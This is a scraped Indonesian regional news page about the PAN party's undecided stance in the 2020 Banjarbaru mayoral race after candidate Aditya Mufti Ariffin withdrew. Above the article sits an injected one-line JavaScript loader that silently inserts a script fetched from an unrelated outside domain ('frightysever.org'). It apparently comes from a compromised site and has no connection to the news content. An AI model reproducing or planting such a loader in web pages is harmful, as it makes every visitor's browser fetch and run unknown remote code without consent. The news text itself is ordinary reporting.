(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Mundurnya Aditya Mufti Ariffin di Pilkada Banjarbaru membuat perubahan signifikan peta dukungan parpol. Sejumlah partai pengusung yang sebelumnya ada di belakang duet penantang Aditya-Iwansyah, banting setir ke pasangan incumbent Walikota Banjarbaru Nadjmi Adhani-Darmawan Jaya Setiawan. Seperti halnya Golkar dan PDIP. Lalu bagaimana dengan PAN?
Meski selama ini disebut dekat dengan kubu Aditya, namun nyatanya PAN mengatakan hingga saat ini belum menentukan sikap. Artinya, DPD PAN Banjarbaru masih menunggu hasil rekomendasi DPP PAN terkait kandidat mana yang akan didukung di Pilkada 2020 nanti.
Ketua Dewan Perwakilan Daerah (DPD) PAN Kota Banjarbaru, Emi Lasari menjelaskan, pihaknya telah melampirkan nama kedua pasangan baik itu Aditya-Iwansyah maupun Nadjmi-Jaya ke ranah DPW PAN Kalsel. Hanya saja, DPW PAN Kalsel sendiri nyatanya belum menindaklanjuti daftar nama para kandidat dari Banjarbaru tersebut.
Alasannya, DPW PAN Kalsel masih menunggu daftar nama-nama kandidat dari DPD PAN di Kabupaten Kota lainnya. Hal inilah yang menyebabkan PAN sama sekali tidak terusik dengan pernyataan mengejutkan Aditya yang mundur dari kontesasi Pilwali.
“Ketika Aditya mengundurkan diri secara proses internal di PAN tidak berpengaruh, karena prosesnya masih di DPW PAN Kalsel, belum sampai ke ranah DPP PAN. Jadi, setelah Aditya mundur, kita hanya melaporkannya saja DPW PAN Kalsel,” kata Emi, Senin (22/6/2020) siang.
Ditegaskan Emi, bahwa arah dukungan PAN nantinya sama sekali tidak dipengaruhi faktor mundurnya salah satu calon kandidat. Sebab, hal utama yang paling berpengaruh terhadap kemana arah dukungan PAN ialah koalisi Pilgub Kalsel.
“Ketua DPW PAN Kalsel, Bapak Muhidin, telah memastikan maju di Pilgub Kalsel. Kita saat ini menunggu akhir dari koalisi partai beliau. Kalau sudah terbentuk, maka sudah jelas dukungan PAN di Pilkada kabupaten Kota juga akan mengarah kepada kandidat yang punya koalisi partai sama,” tandas Emi.
Seperti yang ramai diperbincangkan, Muhidin merupakan sosok potensial Bakal Calon Wakil Gubernur Kalimantan Selatan yang akan menjadi pendamping Sahbirin Noor -incumbent yang kembali maju dalam Pilgub Kalsel keduanya. Besar kemungkinan, partai koalisi Muhidin nantinya akan bersama partai yang menaungi Sahbirin yakni Golkar.
Merujuk dari skema tersebut, artinya arah dukungan PAN di Pilwali Banjarbaru diprediksi akan mengarah kepada kandidat yang telah mendapatkan dukungan dari Golkar.
Ketua Harian DPD Golkar Kalsel, Supian HK, sebelumnya telah menyatakan untuk mengalihkan dukungan Golkar kepada Nadjmi-Jaya, pasca mundurnya Aditya. Maka, tidak menutup kemungkinan Nadjmi-Jaya akan kembali mendapatkan dukungan dari PAN.
Di Banjarbaru, PAN berhasil menggondol 2 kursi parlemen. Tapi di tengah berubahnya peta politik kini, kursi tersebut akan mubazir jika tak mendapatkan ruang di Pilkada. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.